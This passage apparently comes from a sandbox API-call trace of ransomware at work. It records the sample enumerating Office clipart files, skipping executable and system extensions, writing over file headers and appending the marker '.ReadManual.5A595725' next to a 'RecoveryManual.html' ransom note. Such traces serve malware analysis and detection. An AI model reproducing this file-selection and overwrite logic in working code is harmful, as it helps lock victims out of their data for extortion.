ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0263.333] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HM00172_.WMF" | out: lpString1="HM00172_.WMF") returned="HM00172_.WMF" [0263.333] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.333] StrStrIW (lpFirst="HM00172_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.333] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.333] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.333] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" [0263.333] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ReadManual.5A595725" [0263.333] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ReadManual.5A595725") returned 87 [0263.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38400225787) returned 1 [0263.334] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0263.334] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.334] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2832) returned 1 [0263.334] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb10, lpName=0x0) returned 0x184 [0263.334] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.335] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.335] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.336] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.337] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb10) returned 0x2f0000 [0263.337] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.337] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38400559516) returned 1 [0263.337] CloseHandle (hObject=0x184) returned 1 [0263.337] SetSecurityInfo () returned 0x57 [0263.337] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.337] CloseHandle (hObject=0x194) returned 1 [0263.337] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0263.337] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HM00426_.WMF" | out: lpString1="HM00426_.WMF") returned="HM00426_.WMF" [0263.337] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.337] StrStrIW (lpFirst="HM00426_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.337] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.337] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.338] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.338] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" [0263.338] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ReadManual.5A595725" [0263.338] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.ReadManual.5A595725") returned 87 [0263.338] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38400655439) returned 1 [0263.338] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0263.339] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.339] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=68776) returned 1 [0263.339] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10ca8, lpName=0x0) returned 0x184 [0263.339] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.339] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.340] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.341] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.342] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10ca8) returned 0x1de0000 [0263.344] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0263.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38401281488) returned 1 [0263.344] CloseHandle (hObject=0x184) returned 1 [0263.344] SetSecurityInfo () returned 0x57 [0263.344] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.344] CloseHandle (hObject=0x194) returned 1 [0263.344] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0263.344] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HTECH_01.MID" | out: lpString1="HTECH_01.MID") returned="HTECH_01.MID" [0263.344] lstrcmpiW (lpString1="HTECH_01.MID", lpString2="RecoveryManual.html") returned -1 [0263.344] StrStrIW (lpFirst="HTECH_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.345] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.345] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.345] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.345] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" [0263.345] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ReadManual.5A595725" [0263.345] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.ReadManual.5A595725") returned 87 [0263.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38401380740) returned 1 [0263.345] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0263.346] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7178) returned 1 [0263.346] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c0a, lpName=0x0) returned 0x184 [0263.346] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.347] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.347] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.348] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.348] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c0a) returned 0x2f0000 [0263.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38401744429) returned 1 [0263.349] CloseHandle (hObject=0x184) returned 1 [0263.349] SetSecurityInfo () returned 0x57 [0263.349] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.349] CloseHandle (hObject=0x194) returned 1 [0263.349] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0263.349] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00046_.WMF" | out: lpString1="IN00046_.WMF") returned="IN00046_.WMF" [0263.349] lstrcmpiW (lpString1="IN00046_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.349] StrStrIW (lpFirst="IN00046_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.349] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.349] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.350] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.350] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.350] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.350] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.350] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" [0263.350] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ReadManual.5A595725" [0263.350] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.ReadManual.5A595725") returned 87 [0263.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38401854384) returned 1 [0263.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0263.351] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1158) returned 1 [0263.351] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x486, lpName=0x0) returned 0x184 [0263.351] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.352] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.353] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.353] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x486) returned 0x2f0000 [0263.354] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38402237537) returned 1 [0263.354] CloseHandle (hObject=0x184) returned 1 [0263.354] SetSecurityInfo () returned 0x57 [0263.354] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.354] CloseHandle (hObject=0x194) returned 1 [0263.354] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0263.354] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00118_.WMF" | out: lpString1="IN00118_.WMF") returned="IN00118_.WMF" [0263.354] lstrcmpiW (lpString1="IN00118_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.354] StrStrIW (lpFirst="IN00118_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.354] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.354] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.354] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" [0263.354] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ReadManual.5A595725" [0263.355] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.ReadManual.5A595725") returned 87 [0263.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38402330716) returned 1 [0263.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0263.355] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.356] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=792) returned 1 [0263.356] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x318, lpName=0x0) returned 0x184 [0263.356] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.356] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.357] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.361] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.361] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x318) returned 0x2f0000 [0263.361] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.361] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38402994636) returned 1 [0263.361] CloseHandle (hObject=0x184) returned 1 [0263.361] SetSecurityInfo () returned 0x57 [0263.361] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.361] CloseHandle (hObject=0x194) returned 1 [0263.361] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0263.362] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00177_.WMF" | out: lpString1="IN00177_.WMF") returned="IN00177_.WMF" [0263.362] lstrcmpiW (lpString1="IN00177_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.362] StrStrIW (lpFirst="IN00177_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.362] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.362] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.362] lstrcpyW (in: 